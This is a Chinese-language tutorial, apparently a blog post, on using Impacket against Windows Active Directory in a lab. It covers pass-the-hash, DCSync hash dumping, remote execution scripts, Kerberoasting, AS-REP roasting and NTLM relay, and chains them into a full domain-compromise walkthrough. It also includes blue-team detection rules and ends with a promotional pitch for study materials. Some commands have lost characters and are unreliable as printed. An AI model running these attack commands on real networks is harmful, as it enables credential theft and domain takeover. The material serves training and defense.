免责声明本文所有技术内容仅用于授权渗透测试、红蓝对抗、安全学习研究。严禁在没有书面授权的内网、企业域环境执行哈希传递、DCSync、远程命令执行等操作未授权访问 Windows 活动目录系统属于违法行为。全部实操案例均在自建靶场完成请勿直接复制命令到生产环境执行。目录1. 前言Impacket 是什么为什么内网渗透离不开 Impacket2. Impacket 环境安装与基础语法、四种认证模式详解2.1 安装方式2.2 Impacket 通用命令格式2.3 Impacket 支持 4 种认证方式重中之重方式 1明文密码认证方式 2Pass‑the‑Hash 哈希传递 -hashes LMHASH:NTHASH方式 3Kerberos AES 密钥认证 -aesKey方式 4Pass‑the‑Ticket 票据传递ccache 文件2.4 公共高频参数3. 核心模块一凭证导出工具3.1 secretsdump.pyImpacket 王牌工具场景 1dump 普通 Windows 单机导出 SAM、LSA场景 2DCSync 域控导出全域凭证最经典用法场景 3配合 ccache 票据票据传递 DCSync3.2 samrdump.py4. 核心模块二横向移动远程执行脚本全家桶4.1 psexec.py对标微软 Sysinternals PsExec4.2 wmiexec.py实战最常用优先推荐4.3 smbexec.py4.4 atexec.py 计划任务远程执行4.5 dcomexec.py DCOM 组件执行5. 核心模块三Kerberos 全套攻击脚本5.1 GetTGT.py 获取 TGT 票据输出 ccache 文件5.2 GetST.py 获取 TGS 服务票据5.3 GetUserSPNs.py Kerberoasting烤土豆服务票据离线爆破5.4 GetNPUsers.py AS‑REP Roasting5.5 gettgtpkinit.py PKINIT 证书获取 TGT6. 核心模块四信息枚举工具集6.1 lookupsid.py SID 暴力枚举6.2 net.py 域信息查询工具6.3 rpcdump.py RPC 接口枚举6.4 smbclient.py SMB 交互客户端7. 核心模块五NTLM 中继 ntlmrelayx.py 实战7.1 SMB 中继基础示例7.2 ESC8 AD‑CS 证书 Web 注册中继高频红队场景8. 完整靶场实战链路普通域账号从信息收集到 DCSync 完整流程9. Impacket 高频报错、坑点与排错方案9.1 STATUS_LOGON_FAILURE 登录失败9.2 KRB_AP_ERR_MODIFIED kerberos 报错9.3 Kerberos clock skew 时钟偏差9.4 psexec 执行失败访问 admin$ 拒绝9.5 wmiexec.py 连接超时9.6 DCSync 报错拒绝访问10. 红队实战选型不同场景该选哪一个脚本11. 蓝队视角Impacket 攻击行为日志检测、狩猎规则关键 Windows 安全事件 IDSIEM 狩猎规则思路12. Impacket 面试高频考点整理13. 全文总结如何系统学习网络安全一、网络安全黑客学习路线二、网络安全教程视频三、网络安全CTF实战案例四、网络安全面试题摘要Impacket 是基于 Python 开发的网络协议库内置大量域渗透脚本是内网渗透、红蓝对抗中最基础、最高频的工具集。它实现 SMB、RPC、WMI、LDAP、Kerberos、DRSUAPI 等 Windows 核心协议支持 Linux 攻击机直接操作 Windows 域环境完成信息收集、哈希传递、远程命令执行、凭证导出、Kerberos 票据攻击、NTLM 中继、DCSync 域控数据导出等全套操作。很多安全人员只会简单使用 psexec.py、secretsdump.py却不理解底层协议、各个脚本之间的适用场景、坑点与流量特征。本文从 Impacket 原理、环境部署出发按照功能模块拆解全部高频脚本凭证导出类、远程执行横向移动类、Kerberos 票据攻击类、信息枚举类、NTLM 中继攻击类附带大量实战命令区分明文、哈希、AES 密钥、ccache 票据四种认证方式完整复现一套域渗透链路总结常见报错排错对比各个横向脚本检测特征补充蓝队检测狩猎规则整理面试高频考点。读完本文可以彻底吃透 Impacket 套件同时也可以作为蓝队分析 Impacket 攻击行为的参考手册。MITRE ATTCK 映射T1003.001 SAM 凭证获取T1003.006 DCSyncT1021.002 SMB 远程服务T1021.003 WMIT1550.002 Pass‑the‑Hash 哈希传递T1550.003 Pass‑the‑Ticket 票据传递T1558 Kerberos 票据滥用T1557 NTLM 中继。1. 前言Impacket 是什么为什么内网渗透离不开 ImpacketImpacket 是 SecureAuth原 Core Security开源的 Python 网络协议库它重新实现 Windows 很多专有协议不需要依赖 Windows 系统在 LinuxKali攻击机上就可以完整和域内 Windows 主机交互。很多人会混淆Impacket 本身不是漏洞利用工具它只是协议实现攻击行为来自协议本身设计特性NTLM 哈希传递、DRSUAPI 复制 AD 数据、Kerberos 协议特性。Impacket 在红队当中地位跨平台Linux 攻击机直接打 Windows 域不需要 Windows 虚拟机支持多种认证明文密码、NTLM Hash、AES256 密钥、Kerberos ccache 票据覆盖域渗透全流程信息收集→横向移动→凭证 dump→票据攻击→中继攻击开源透明所有流量可以抓包分析Certipy、krbrelayx 很多知名工具底层都依赖 Impacket 库。误区纠正①Impacket 不是病毒属于安全研究工具攻击者只是滥用工具能力②不是所有脚本都需要 445 端口wmiexec 依赖 135 端口③DCSync 不是漏洞是域控 DRSUAPI 协议本身功能只要账号拥有域复制权限就可以调用。2. Impacket 环境安装与基础语法、四种认证模式详解2.1 安装方式kali 新版本自带 python3‑impacket如果版本老旧建议 github 源码安装最新版老版本存在不少 bug。# 源码安装 git clone https://github.com/fortra/impacket.git cd impacket pip3 install -r requirements.txt python3 setup.py install执行脚本两种调用方式#方式1examples目录下直接python3执行脚本 python3 examples/secretsdump.py #方式2kali安装完成之后可以直接impacket‑xxx调用 impacket‑secretsdump2.2 Impacket 通用命令格式脚本名 域名/用户名[:密码]目标IP [参数]2.3 Impacket 支持 4 种认证方式重中之重方式 1明文密码认证python3 secretsdump.py corp.com/administrator:Admin123192.168.10.10方式 2Pass‑the‑Hash 哈希传递-hashes LMHASH:NTHASHLM 哈希大部分环境为空格式写成:NTHASH前面冒号不能省略# LM为空只填写NT hash wmiexec.py corp.com/administrator192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71格式错误是新手最高频报错千万不要漏掉前面冒号。方式 3Kerberos AES 密钥认证-aesKey当拿到用户 AES128/AES256 密钥不用明文不用 NTLM 哈希使用 AES 密钥申请 TGT 票据流量更加隐蔽。gettgt.py corp.com/administrator192.168.10.10 -aesKey 45b1a450637fa42044cc2d9a2f882039xxxxxxx方式 4Pass‑the‑Ticket 票据传递ccache 文件Impacket 读取环境变量KRB5CCNAME加载 kerberos ccache 票据不需要账号密码。export KRB5CCNAMEadministrator.ccache python3 wmiexec.py -k corp.com/administratordc01.corp.com使用票据模式尽量填写主机 FQDN 域名不要直接填 IPKerberos 协议不支持 IP 作为 SPN直接填 IP 大概率报错KRB_AP_ERR_MODIFIED。2.4 公共高频参数参数说明‑dc‑ip x.x.x.x指定域控制器 IP域环境必备用于 LDAP、Kerberos 解析‑k开启 kerberos 认证读取 KRB5CCNAME 票据‑no‑pass账号无密码场景‑outputfile xxx输出结果保存文件3. 核心模块一凭证导出工具3.1 secretsdump.pyImpacket 王牌工具功能远程 dump 目标主机 SAM、LSA Secrets、缓存域凭证如果目标是域控直接调用 DRSUAPI 协议执行 DCSync 导出域全部账号哈希不需要登录目标机器网络远程完成。权限要求本地管理员权限DCSync 需要账号拥有DS‑Replication‑Get‑Changes权限。场景 1dump 普通 Windows 单机导出 SAM、LSA#明文 secretsdump.py corp.com/administrator:Admin123192.168.10.20 #哈希传递pt‑h secretsdump.py corp.com/administrator192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71输出内容本地用户 NTLM 哈希、LSA Secrets 里面存储的服务账号密码、缓存的域登录凭证。场景 2DCSync 域控导出全域凭证最经典用法不需要登录域控主机网络调用 DRSUAPI 复制 AD 数据。#导出域内全部账号 secretsdump.py corp.com/administrator:Admin123192.168.10.10 #只导出krbtgt账号hash制作黄金票据 secretsdump.py corp.com/administrator:Admin123192.168.10.10 -just‑dc‑user krbtgt重要知识点DCSync 是协议原生功能不是漏洞只要账号拥有复制目录权限就可以执行会产生 4662 目录访问事件 ID蓝队重点监控该日志。场景 3配合 ccache 票据票据传递 DCSyncexport KRB5CCNAMEadmin.ccache secretsdump.py -k corp.com/administratordc01.corp.com -dc‑ip 192.168.10.103.2 samrdump.py通过 SAMR 协议读取 SMB 服务枚举本地用户列表读取 SAM 账号信息。权限要求不高不一定需要管理员权限。samrdump.py corp.com/user:Password123192.168.10.20多用于内网信息探测获取目标本地用户名清单。4. 核心模块二横向移动远程执行脚本全家桶这一组脚本是红队横向移动主力全部支持明文、哈希传递、kerberos 票据认证。每个脚本底层协议、端口、行为痕迹、检测特征完全不一样实战需要根据环境防火墙策略选择合适脚本。脚本底层协议端口执行原理痕迹特点psexec.pySMB445上传临时 exe 到 ADMIN$ 共享创建系统服务执行命令执行完删除服务文件痕迹重会写磁盘大量 EDR 重点监控wmiexec.pyWMI135 动态 DCOM 端口调用 WMI 接口执行命令输出读取共享不落地文件红队优先选择防火墙放行 135 可用smbexec.pySMB445写 bat 到 ADMIN$服务启动执行无临时 exe只有批处理不生成 exe但是会写入 bat 脚本atexec.pyRPC Schedule 任务135远程创建计划任务执行命令执行后删除任务创建计划任务日志会记录计划任务事件dcomexec.pyDCOM 对象135调用 DCOM COM 对象执行命令利用 COM 组件部分环境可绕过 WMI 拦截4.1 psexec.py对标微软 Sysinternals PsExec原理连接 admin$ 共享上传 RemComSvc 临时可执行文件注册 Windows 服务服务启动以 SYSTEM 权限执行命令完成后删除服务和文件。缺点写入 exe 到磁盘现代 EDR、Defender 很容易拦截很多企业防护直接阻断 psexec 行为。#明文交互shell psexec.py corp.com/administrator:Admin123192.168.10.20 #哈希传递单条命令执行不进入交互shell psexec.py corp.com/administrator192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71 whoami /all坑点部分环境删除临时服务失败目标机器会残留 RemComSvc 服务项。4.2 wmiexec.py实战最常用优先推荐基于 WMI 协议执行命令不会向磁盘写入 exe 程序。命令执行输出通过 SMB 共享读取回来不需要落地文件痕迹相比 psexec 轻很多。端口依赖135 端口开放并且 DCOM 动态端口没有被防火墙拦截。#获取交互式shell wmiexec.py corp.com/administrator:Admin123192.168.10.20 #哈希传递执行单条命令 wmiexec.py corp.com/administrator192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71 ipconfig /all #kerberos票据模式 export KRB5CCNAMEadmin.ccache wmiexec.py -k corp.com/administratorpc01.corp.com坑如果防火墙拦截 135 端口wmiexec 直接无法使用WMI 服务关闭也会失败。4.3 smbexec.py区别 psexec不上传 exe把命令写入临时 bat 批处理脚本放到 admin$ 共享通过服务启动执行脚本执行完毕删除 bat 文件。磁盘只会留下 bat 而不是 exe规避部分针对 exe 的检测。smbexec.py corp.com/administrator:Admin123192.168.10.204.4 atexec.py 计划任务远程执行调用 Schedule 服务 RPC 接口远程创建临时计划任务执行命令执行完毕自动删除任务。Windows 日志会记录计划任务创建、运行事件。atexec.py corp.com/administrator:Admin123192.168.10.20 systeminfo适合 445 封禁但是 135RPC 放行的环境。4.5 dcomexec.py DCOM 组件执行调用 Windows DCOM COM 对象ShellWindows、ShellBrowserWindow实现命令执行不依赖 WMI 服务当 WMI 被安全软件禁用时可以尝试该脚本。dcomexec.py corp.com/administrator:Admin123192.168.10.20横向移动实战选型总结135 端口放行 → 优先 wmiexec.py135 被防火墙拦截445 开放 → smbexec.pyWMI 服务异常 → dcomexec.py/atexec.pypsexec.py 尽量少用红蓝对抗极易触发告警。5. 核心模块三Kerberos 全套攻击脚本Impacket 完整实现 Kerberos 客户端TGT、TGS 申请KerberoastingAS‑REP RoastingPKINIT 证书认证全部支持是域内票据攻击基础工具集。5.1 GetTGT.py 获取 TGT 票据输出 ccache 文件输入账号密码 / NTLM hash / AES 密钥向 KDC 域控申请 TGT 票据保存为 ccache 文件用于后续 Pass‑the‑Ticket。#密码获取TGT GetTGT.py corp.com/lowuser:Password123! -dc‑ip 192.168.10.10 #NTLM hash获取TGT GetTGT.py corp.com/lowuserdc01.corp.com -hashes :xxxxxxxxxxxxxxxxx -dc‑ip 192.168.10.10 #AES256密钥获取TGT更隐蔽 GetTGT.py corp.com/lowuserdc01.corp.com -aesKey xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -dc‑ip 192.168.10.10运行完成输出lowuser.ccache设置环境变量即可使用票据。5.2 GetST.py 获取 TGS 服务票据向 KDC 申请指定 SPN 的 TGS 服务票据可用于白银票据相关操作。#申请cifs/dc01.corp.com服务TGS票据 GetST.py corp.com/lowuser:Password123! -spn cifs/dc01.corp.com -dc‑ip 192.168.10.105.3 GetUserSPNs.py Kerberoasting烤土豆服务票据离线爆破Kerberoasting 攻击查询域内注册 SPN 的服务账号请求该账号 TGS 票据输出可 hashcat 爆破的哈希字符串。拿到 TGS 哈希本地字典爆破得到服务账号明文密码。权限任意普通域用户权限即可执行。#查询所有SPN并且请求TGS票据输出hash GetUserSPNs.py corp.com/lowuser:Password123! -dc‑ip 192.168.10.10 -request -outputfile kerberoast_hash.txt爆破hashcat -m 13100 kerberoast_hash.txt rockyou.txt5.4 GetNPUsers.py AS‑REP Roasting针对域账号开启Do not require Kerberos preauthentication不需要预认证攻击者直接向 KDC 发送 AS‑REQ 拿到 AS‑REP 哈希本地离线爆破密码。普通域用户就可以扫描域内该类风险账号。#从用户名字本批量探测 GetNPUsers.py corp.com/ -usersfile userlist.txt -dc‑ip 192.168.10.10 -format hashcat -outputfile asrep_hash.txthashcat 模式‑m 18200爆破 AS‑REP 哈希。5.5 gettgtpkinit.py PKINIT 证书获取 TGT搭配 AD‑CS 攻击拿到 pfx 证书之后使用该脚本通过 PKINIT 协议使用证书向 KDC 申请 TGT 票据输出 ccache 文件。Certipy 底层就是封装这个 Impacket 模块。gettgtpkinit.py -pfx administrator.pfx corp.com/administratordc01.corp.com -dc‑ip 192.168.10.10黄金票据、白银票据 Impacket 已经不再维护现代红队更多使用 Rubeus 做票据伪造。Impacket 主要用于正常向 KDC 申请真实票据。6. 核心模块四信息枚举工具集6.1 lookupsid.py SID 暴力枚举通过 SMB 协议暴力枚举目标主机 SID获取本地 / 域用户、组 SID不用凭据也可以部分场景枚举。lookupsid.py corp.com/lowuser:Password123192.168.10.206.2 net.py 域信息查询工具Impacket 封装的 ldap 查询工具可以查询域用户、域组、计算机对象不用开启 bloodhound命令行快速收集信息。#查询域管理员组成员 net.py corp.com/lowuser:Password123!192.168.10.10 group -name Domain Admins #列出域所有计算机对象 net.py corp.com/lowuser:Password123!192.168.10.10 computer6.3 rpcdump.py RPC 接口枚举枚举目标主机开放 RPC 接口判断有哪些协议服务对外开放用于内网探测。rpcdump.py corp.com/lowuser:Password123!192.168.10.206.4 smbclient.py SMB 交互客户端类似 smbclient 系统命令基于 impacket 实现支持哈希传递浏览、上传、下载 SMB 共享文件。#哈希传递访问共享 smbclient.py corp.com/administrator192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71 #交互内命令ls get put cd7. 核心模块五NTLM 中继 ntlmrelayx.py 实战ntlmrelayx.py 是 Impacket 经典中继工具监听传入 NTLM 认证请求把认证中继转发到其他目标主机实现中继攻击常用于 SMB 中继、ESC8 AD‑CS 证书中继攻击。前提条件目标关闭 SMB 签名否则中继失败。7.1 SMB 中继基础示例监听传入 NTLM中继到目标机器dump 凭证ntlmrelayx.py -t smb://192.168.10.20 -smb2support另起终端触发目标回连攻击机 IP接收对方 NTLM 认证中继成功之后自动调用 secretsdump dump 目标哈希。7.2 ESC8 AD‑CS 证书 Web 注册中继高频红队场景中继目标指向 CA 服务器 certsrv http 接口实现 ESC8 攻击这个就是 Certipy relay 底层参考原型ntlmrelayx.py -t http://192.168.10.10/certsrv -smb2support配合 PetitPotam 强制域控回连攻击机域控计算机账号 NTLM 认证被中继到 CA 申请机器证书。注意现代环境开启 SMB 强制签名之后传统 SMB 中继失效。8. 完整靶场实战链路普通域账号从信息收集到 DCSync 完整流程靶场环境域corp.com域控 DC01192.168.10.10内网机器 PC01192.168.10.20拿到普通域账号 lowuser / Password123!目标从普通域账号横向拿到域管理员凭证DCSync 导出域全部哈希。全部操作在授权靶场 Kali 攻击机执行。步骤 1信息收集探测域内 SPN 账号执行 KerberoastingGetUserSPNs.py corp.com/lowuser:Password123! -dc‑ip 192.168.10.10 -request -outputfile spn_hash.txt本地 hashcat 爆破得到服务账号明文密码。步骤 2拿到高权限账号 administrator 密码使用 wmiexec 横向登录 PC01wmiexec.py corp.com/administrator:Admin123192.168.10.20成功获取交互式 shell。步骤 3利用该管理员账号远程 DCSync 域控导出全域账号哈希secretsdump.py corp.com/administrator:Admin123192.168.10.10 -dc‑ip 192.168.10.10成功导出 krbtgt、所有域用户 NTLM 哈希。步骤 4使用 GetTGT用 administrator 哈希申请 TGT 票据票据传递模式访问资源GetTGT.py corp.com/administratordc01.corp.com -hashes :58a478135a93ac3bf058a5ea0e8fdb71 -dc‑ip 192.168.10.10 export KRB5CCNAMEadministrator.ccache wmiexec.py -k corp.com/administratorpc01.corp.com步骤 5也可以用 secretsdump 加载 ccache 票据执行 DCSyncsecretsdump.py -k corp.com/administratordc01.corp.com -dc‑ip 192.168.10.10整条链路完整演示 Impacket 套件不同模块协同工作。9. Impacket 高频报错、坑点与排错方案9.1 STATUS_LOGON_FAILURE 登录失败常见原因-hashes参数格式错误LM 哈希部分前面冒号漏写正确格式‑hashes :NTHash域名填写错误单机环境不要写域名账号密码哈希本身错误账号被锁定。9.2 KRB_AP_ERR_MODIFIED kerberos 报错原因使用 IP 地址访问 Kerberos 资源SPN 使用主机名IP 不匹配。解决方案配置 /etc/resolv.conf DNS使用主机 FQDN 域名代替 IP 执行脚本。9.3 Kerberos clock skew 时钟偏差Kerberos 协议对时间严格攻击机时间和域控时间相差超过 5 分钟直接认证失败。解决kali 同步域控时间rdate ‑n 192.168.10.10。9.4 psexec 执行失败访问 admin$ 拒绝目标机器防火墙拦截 445UAC 远程限制本地管理员账号从网络登录会被过滤域管理员不受 UAC 远程限制admin$ 共享被组策略禁用。9.5 wmiexec.py 连接超时防火墙拦截 135 端口或者 DCOM 动态端口被拦截WMI 服务没有运行更换 atexec、dcomexec 脚本尝试。9.6 DCSync 报错拒绝访问账号没有DS‑Replication‑Get‑Changes目录复制权限普通域用户默认没有该权限需要域管理员、域控制器账号、被授予复制权限账号才可以执行 DCSync。很多新手误区拿到普通域用户直接跑 secretsdump 对域控 DCSync必然失败。10. 红队实战选型不同场景该选哪一个脚本已经拿到本地管理员端口 445 开放EDR 宽松优先smbexec.py规避 psexec 上传 exe135 端口放行想尽量降低磁盘痕迹首选wmiexec.py红蓝对抗最常用WMI 服务异常不可用尝试dcomexec.py445 被防火墙封禁135RPC 放行atexec.py计划任务尽量避免使用psexec.py写入 exe 文件EDR/Defender 告警非常高票据传递模式尽量全部使用 FQDN 主机名不要写 IPDCSync 优先使用 secretsdump不需要登录域控主机网络远程完成。11. 蓝队视角Impacket 攻击行为日志检测、狩猎规则Impacket 本身不在目标主机落地任何程序全部流量来自外部攻击机所以需要从网络登录事件、对象访问事件进行狩猎检测。关键 Windows 安全事件 ID事件 ID含义Impacket 攻击场景4624成功登录Logon Type3 网络登录所有 SMB/WMI/RPC 远程认证源 IP 来自非业务终端5145访问网络共享资源psexec/smbexec 访问 ADMIN$ 共享写入文件4698计划任务创建atexec.py 远程创建计划任务4662目录对象操作属性 ID 1131f6aa‑9c07‑11d1‑f79f‑00c04fc2dcd2DCSync 攻击secretsdump 触发该事件蓝队最高优先级狩猎4769TGS_REQ 票据请求Kerberoasting GetUserSPNs 大量 TGS 请求SIEM 狩猎规则思路狩猎 DCSync 行为事件 4662操作属性为复制 AD 对象 GUID源 IP 不是域控机器大量 4769 事件短时间爆发同一个账号请求大量不同服务 TGS 票据大概率 Kerberoasting异常外部 IP 产生大量 Logon Type3 登录访问 admin$ 共享短时间出现大量临时计划任务创建随即删除警惕 atexec防护加固建议域控制器开启 SMB 强制签名防御 NTLM 中继攻击监控 4662 DRSUAPI 复制操作限制普通域账号不要授予目录复制权限网络层监控外部非可信 IP 对内网 445、135 端口访问审计域账号关闭不必要账号的 “不需要 Kerberos 预认证” 属性防御 AS‑REP Roasting。12. Impacket 面试高频考点整理secretsdump.py 两种工作模式对普通主机SMB 远程读取注册表 SAM、LSA Secrets对域控调用 DRSUAPI 协议 DCSync 复制活动目录数据导出全域账号哈希。DCSync 不是漏洞是 AD 原生复制协议账号拥有目录复制权限即可调用。pass‑the‑hash 使用 Impacket‑hashes 参数格式LMHASH:NTHASHLM 哈希为空前面冒号不能省略‑hashes :xxxxxxxxxxxx。wmiexec、psexec、smbexec、atexec 区别psexec 上传 exe 服务痕迹最重wmiexec 基于 WMI135 端口无落地 exesmbexec 写入 bat 批处理atexec 远程创建计划任务执行命令。GetUserSPNs.py、GetNPUsers.py 分别对应什么攻击GetUserSPNsKerberoasting请求服务账号 TGS 票据离线爆破GetNPUsersAS‑REP Roasting针对关闭预认证账号获取 AS‑REP 哈希爆破。两者普通域用户权限就可以执行。Impacket kerberos 票据传递为什么填 IP 经常报错 KRB_AP_ERR_MODIFIEDKerberos SPN 绑定主机 FQDN不支持 IP 地址需要使用域名访问配置 DNS 解析。ntlmrelayx.py 工作原理SMB 签名作用接收 NTLM 认证将认证中继转发到目标服务器目标开启 SMB 强制签名SMB 中继直接失效。DCSync 需要什么权限账号需要DS‑Replication‑Get‑Changes、DS‑Replication‑Get‑Changes‑All权限域管理员、域控制器账号默认拥有该权限。普通域用户默认没有。secretsdump 执行 DCSync 是否需要登录域控主机不需要纯网络调用 DRSUAPI 接口不需要 SMB 登录域控。Impacket 四种认证模式分别是什么明文密码、NTLM 哈希传递‑hashes、AES 密钥‑aesKey、ccache 票据传递KRB5CCNAME 环境变量 ‑k 参数。wmiexec 依赖什么端口135 端口以及 DCOM 动态高位端口不是 445。13. 全文总结Impacket 套件是内网域渗透基石它实现 Windows 主流网络协议让 Linux 攻击机完整操作活动目录环境。很多安全人员只会简单复制命令不理解底层协议遇到报错无从下手。横向移动脚本各有优劣psexec 痕迹重尽量规避wmiexec 实战优先根据防火墙开放端口灵活选择脚本。secretsdump 是王牌工具分为 dump 本地凭证和 DCSync 域控复制 AD 数据两种模式DCSync 不是漏洞是 AD 复制协议原生功能蓝队重点监控 4662 事件 ID。Kerberos 模块GetUserSPNsKerberoasting、GetNPUsersAS‑REP Roasting普通域账号即可执行拿到哈希本地离线爆破密码。gettgtpkinit 配合 AD‑CS 证书漏洞完成 PKINIT 证书登录。ntlmrelayx 实现 NTLM 中继攻击可用于 SMB 中继也可以用于 ESC8 AD‑CS 证书中继开启 SMB 强制签名可以防御传统 SMB 中继。Kerberos 使用票据模式尽量使用 FQDN 域名攻击机系统时间必须和域控保持同步否则会认证失败。蓝队防御 Impacket 攻击重点监控网络登录事件、DCSync 目录复制事件、计划任务创建事件开启 SMB 强制签名审计账号目录复制权限。所有脚本都支持明文、哈希、AES、ccache 票据四种认证方式熟练切换认证方式是内网渗透必备技能。再次声明本文全部技术内容仅限授权靶场、授权红蓝对抗演练严禁在没有授权的企业内网执行相关操作。如何系统学习网络安全网络安全作为数字时代的核心技术基石已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。构建稳固的网络安全能力是一个体系的工程需要从夯实基础理论出发持续深化到攻防对抗与应急响应的实战层面。如果你是准备学习网络安全黑客或者正在学习我可以把我自用的360独家内部资料分享给你包含以下内容你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】